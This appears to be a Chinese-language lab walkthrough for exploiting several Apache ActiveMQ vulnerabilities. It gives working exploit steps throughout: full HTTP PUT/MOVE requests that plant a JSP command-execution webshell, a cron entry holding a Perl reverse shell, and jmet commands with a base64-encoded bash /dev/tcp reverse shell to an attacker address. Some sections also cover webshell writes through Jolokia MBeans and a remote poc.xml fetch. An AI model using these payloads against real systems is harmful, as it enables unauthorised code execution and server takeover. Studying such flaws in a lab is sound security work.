目录
CVE-2023-46604(ActiveMQ OpenWire协议反序列化命令执行漏洞)
Active是什么?
ActiveMQ 是一个开源的消息中间件(Message Broker),基于 Java 消息服务(JMS) 规范实现,主要用于异步消息传递和系统解耦。
服务使用端口8161和61616,其中8161是web控制台端口,61616是消息传递的端口。
CVE-2016-3088(任意文件写入)
漏洞成因:ActiveMQ的控制台有三个应用,admin,api和fileserver。admin是管理员页面,需要密码,API是接口,需要密码。fileserver是储存文件的接口,无需登录即可访问。
fileserver是为了弥补消息队列操作不能传输,储存二进制文件的缺陷。
fileserver支持使用put方法写入文件,支持使用move方法移动文件。漏洞原因就是先写入文件,然后移动到任意位置,造成任意文件写入。
版本要求:Apache ActiveMQ 5.0.0-5.13.2
5.12.X-5.13.X默认关闭了fileserver,需手动在conf/jetty.xml中打开
5.14.0以上版本移除fileserver功能。
利用方法:
写入webshell
fileserve不解析jsp文件,需访问,但admin与API接口需登录后才可访问。默认账号密码admin/admin
步骤1:访问http://ip:8161/admin/test/systemProperties.jsp,查看activemq.home对应值为默认路径
步骤2:使用put方法上传web.shell
PUT /fileserver/2.txt HTTP/1.1
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 339
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStreamin= Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
步骤3:移动到API接口下,访问触发连接。
MOVE /fileserver/2.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
最后就是访问webshell触发,需登录。
写入计划任务
要求要有root权限,计划任务才可以执行。
步骤1:写入计划任务
在构建数据包时,在bp中把换行\r\n改为\n计划任务才能执行,原因是在Linux主机里换行符是\n
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.23.133";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
步骤2:移动计划任务到/erc/crontab/下等待执行。
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0
步骤3:监听计划任务中的端口等待反弹shell,例如文中21号端口
CVE-2015-5254(反序列化漏洞)
工具ysoserial的安装要点。使用maven工具编译时jdk版本需低于9,原因为ysoserial
依赖的 sun.rmi.server
和 java.rmi.activation
在 Java 9+ 已被移除或限制访问。
漏洞成因:ActiveMQ 在 5.13.0 之前的版本中,未对 JMS(Java Message Service)消息中的序列化对象进行严格校验。当消息队列中的消息包含恶意构造的序列化数据时,ActiveMQ 会在反序列化过程中自动执行嵌入的恶意逻辑。
用户在点击消息队列时,ActiveMQ会自动反序列化消息内容,从而执行恶意代码。
ActiveMQ 的 ObjectMessage
类在解析消息时,会调用 java.io.ObjectInputStream
反序列化数据,而恶意 Payload 通过构造特定的对象链(如 Transformer
链)触发命令执行。
版本要求:ActiveMQ < 5.13.0
账号要求:有,需登录。
步骤1:使用工具jmet将恶意代码制作成消息推送给被攻击目标。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/test" -Yp ROME your-ip 61616
解析:
- Java的用法指定使用jar包
- -Q 指定消息队列名称
- -I 指定攻击的中间件类型
- -s 启用序列化方式发送消息
- -Y 要执行的命令
- -Yp 指定利用链类型
步骤2:点击消息触发恶意代码
查看命令执行结果
成功执行
步骤3:替换命令,使用反向shell执行
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjEzMy8yMSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.23.133 61616
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjEzMy8yMSAwPiYx为以下命令base64编码:
bash -i >& /dev/tcp/192.168.23.133/21 0>&1
启动一个shell,将该shell的输入输出绑定到目标主机的端口上。
步骤4:点击触发,使用nc 监听连接。
查看反弹效果
成功反弹。
CVE-2022-41678(后台远程代码执行漏洞)
漏洞成因:利用里面的对象方法实现任意代码执行
版本要求:ActiveMQ < 5.17.3
账号要求:需要,登录后台admin/admin
步骤1:访问/api/jolokia/list
这个API可以查看当前服务器里所有的MBeans
利用点1:利用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,这是log4j2的一个Mbean,使用里面的setConfigText方法操作可以修改log4j2的配置,将任意日志文件写入任意目录中,从而可以照成命令执行。
步骤2:使用poc.py脚本写入webshell
步骤3:写入后访问/admin/shell.jsp,可控参数cmd传递命令。
利用点2:jdk.management.jfr.FlightRecorderMXBean,在OpenJDK11中引入,用于记录虚拟机运行事件。利用这个功能将时间日志写入任意文件。
步骤1:使用poc.py脚本写入webshell,使用--exploit参数指定其中的方法jfr。
步骤2:访问webshell中/admin/shelljfr.jsp,可控参数仍然是cmd
这里可能是OpenJDK版本不对,可是这是docker镜像做,应该没有影响的。
这个文件也在,但是没成功,原因暂时不明。
CVE-2023-46604(ActiveMQ OpenWire协议反序列化命令执行漏洞)
漏洞成因:OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。
版本要求:ActiveMQ < 5.18.2
账号要求:无,无需登录
步骤1:启动http反连服务器
6666端口被占了,换其他端口但是一定要看到poc.xml
步骤2:执行poc.py,传入三个参数依次是target(被攻击的地址),port被攻击的端口(默认是61616),含poc.xml的服务器地址http://1921.68.23.133:7777/poc.xml
步骤3:进入容器查看命令执行情况
这里执行的命令是两个值value,touch /tmp/activeMQ-RCE-success